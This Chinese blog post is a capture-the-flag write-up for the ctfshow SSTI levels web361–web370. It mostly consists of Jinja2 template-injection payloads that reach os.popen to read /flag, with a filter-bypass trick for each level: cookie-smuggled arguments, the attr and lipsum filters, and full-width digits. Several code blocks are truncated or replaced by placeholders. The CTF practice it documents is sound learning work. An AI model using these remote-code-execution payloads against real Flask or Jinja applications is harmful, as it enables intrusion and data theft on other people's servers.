ctfshow-SSTI
# web361:
name 传参,直接干:
1 | from requests import get |
补充:几种手法
- 手法一:payload os.warp_close 类 的 popen 方法
- ?name=
{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}
- 手法二: 利用 config:
- ?name=
{{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
- 手法三:
lipsum.__globals__
含有 os 模块:- ?name=
{{lipsum.__globals__['os'].popen('tac ../flag').read()}}
- 手法三:利用
__builtins__
- ?name=
{{url_for.__globals__['__builtins__']['eval'](__import__('os').popen('cat /flag').read()}}
- ?name=
{{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
# web362:
过滤了数字 2,3,上没有数字的 payload 就行了:
1 | from requests import get |
另外的 payload:
-
?name=<!--swig26--><!--swig27-->
#先利用 join 和 count 过滤器得到数字 2,然后再用 66*2 去得到 132
<!--code2-->
-
?name=<!--swig28-->
或者
?name=<!--swig29-->
<!--code3-->
payload2:这里用 config 拿到字符串,比较麻烦就不全演示了,只演示部分:
1 | ?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}} |
payload3:
1 | ?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%} |
# web364:
过滤了引号,args,同时不允许使用 POST 传参,使用 Cookie 传参吧:
1 | ?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}} |
之后 Cookie 传入参数:
1 | m1=get_data;m2=/flag |
# Web365:
这里在上一个题的基础上过滤了中括号,所以得用别的方法:
1 | ?name={{().__class__.__base__.__subclasses__().__getitem__(290).__init__.__globals__.__getitem__(request.cookies.m1).popen(request.cookies.m2).read() |
之后 Cookie 传入:
1 | m1=os;m2=cat /flag |
还有个办法,不过是一次性的,失败了之后环境就废了,毕竟 pop 会删除对应的键,导致环境崩溃:
1 | ?name={{().__class__.__base__.__subclasses__().pop(290).__init__.__globals__.pop(request.cookies.m1).popen(request.cookies.m2).read()}} |
之后 Cookie 传入:
1 | m1=os;m2=cat /flag |
# Web366:
这个题多过滤了下划线,可以用 lipsum 绕过:
1 | ?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}} |
之后 Cookie 传入:
1 | m1=__globals__;m2=cat /flag |
# Web367:
这个题又过滤了个 os,直接扔个 payload 吧,Payload 解释问 Ai 都可以问出来:
1 | ?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}} |
之后传入 Cookie:
1 | m1=__globals__;m2=cat /flag;m3=os |
# Web368:
这个题,需要用到 {% %}
,因为双大括号里的 request 被过滤了,但是 {% %}
中的 request 没有被过滤,和上一个题构造的 payload 一样,不过有点改变,就是没有使用双大括号,所以需要 print 输出以下(类似无回显):
1 | ?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%} |
# Web369:
这里直接给 request 给 ban 了,不过可以自己拼字符串,还算好,直接上最终 payload:
1 | ?name= |
看着很长很唬人,但实际确实不简单,这个我会在下一篇文章进行考点总结的,不急,这里先给下解释:
1 | ?name= |
# Web370:
这个题过滤了数字,不过可以用全角数字来绕过,转换的代码如下:
1 | def half2full(half): |
得到的 payload 如下:
1 | ?name= |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 golden的部落阁!